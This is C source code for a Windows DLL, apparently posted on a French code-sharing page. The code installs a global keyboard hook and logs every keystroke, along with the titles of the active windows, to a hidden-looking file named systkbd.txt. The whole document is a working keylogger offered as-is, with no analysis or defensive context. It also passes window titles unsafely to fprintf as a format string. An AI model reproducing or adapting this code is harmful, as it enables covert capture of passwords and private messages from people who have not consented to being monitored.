1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111
   | #include <stdio.h>
#include <windows.h>
#include "main.h"
 
 
static HHOOK gos_kbdHK;
static HINSTANCE hDLL;
static char LastWindowTitle[256] = "";
 
void Logkbd(int code, WPARAM wParam,LPARAM lParam);
 
void Logkbd(int code, WPARAM wParam,LPARAM lParam)
{
	char CurWindowTitle[256];
	FILE *logkbd = NULL;
	logkbd = fopen("systkbd.txt","a+");
 
	GetWindowText(GetActiveWindow(),CurWindowTitle,255);
 
	if ( strcmp(CurWindowTitle,LastWindowTitle) )
	{
		strcpy(LastWindowTitle,CurWindowTitle);
		fprintf(logkbd,"Fenêtre active : ");
		fprintf(logkbd,CurWindowTitle);
		fprintf(logkbd,"\n");
	}
 
	switch(wParam)
	{
        case VK_RETURN:
            fprintf(logkbd,"\n");
            break;
        case VK_CONTROL:
            fprintf(logkbd,"[CTRL]");
            break;
        case VK_MENU:
            fprintf(logkbd,"[ALT]");
            break;
        case VK_DELETE:
            fprintf(logkbd,"[DEL]");
            break;
        case VK_BACK:
            fprintf(logkbd,"[<==]");
            break;
        case VK_TAB:
            fprintf(logkbd,"[TAB]");
            break;
        case VK_SHIFT:
            fclose(logkbd);
            return;
            break;
        default:
            BYTE kbdStat[256];
            GetKeyboardState(kbdStat);
            WORD wBuf;
            UINT ScanCode = 0;
            ToAscii(wParam,ScanCode,kbdStat,&wBuf,0);
            if(lParam == 30)
            {
                fclose(logkbd);
                return;
            }
            fprintf(logkbd,"%c",wBuf);
            break;
	}
	fclose(logkbd);
}
 
LRESULT CALLBACK kbdHookProc(int code, WPARAM wParam, LPARAM lParam)
{
             if(code<0)
	    return CallNextHookEx(gos_kbdHK,code,wParam,lParam);
 
	Logkbd(code,wParam,lParam);
 
    return CallNextHookEx(gos_kbdHK,code,wParam,lParam);
}
 
_declspec(dllexport) int SetkbdHook()
{
    gos_kbdHK = SetWindowsHookEx(WH_KEYBOARD,kbdHookProc,GetModuleHandle("HookDll.dll"),0);
 
	if(gos_kbdHK==NULL)
        return GetLastError();
	else
        return -1;
}
 
_declspec(dllexport) void UnSetkbdHook()
{
	UnhookWindowsHookEx(gos_kbdHK);
}
 
BOOL WINAPI DllMain(HINSTANCE hInstance,DWORD dwReason,LPVOID lpVoid)
{
	switch(dwReason)
	{
	case DLL_PROCESS_ATTACH:
		hDLL = hInstance;
		break;
 
	case DLL_PROCESS_DETACH:
		UnSetkbdHook();
		break;
 
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}
	return TRUE;
} | 
Partager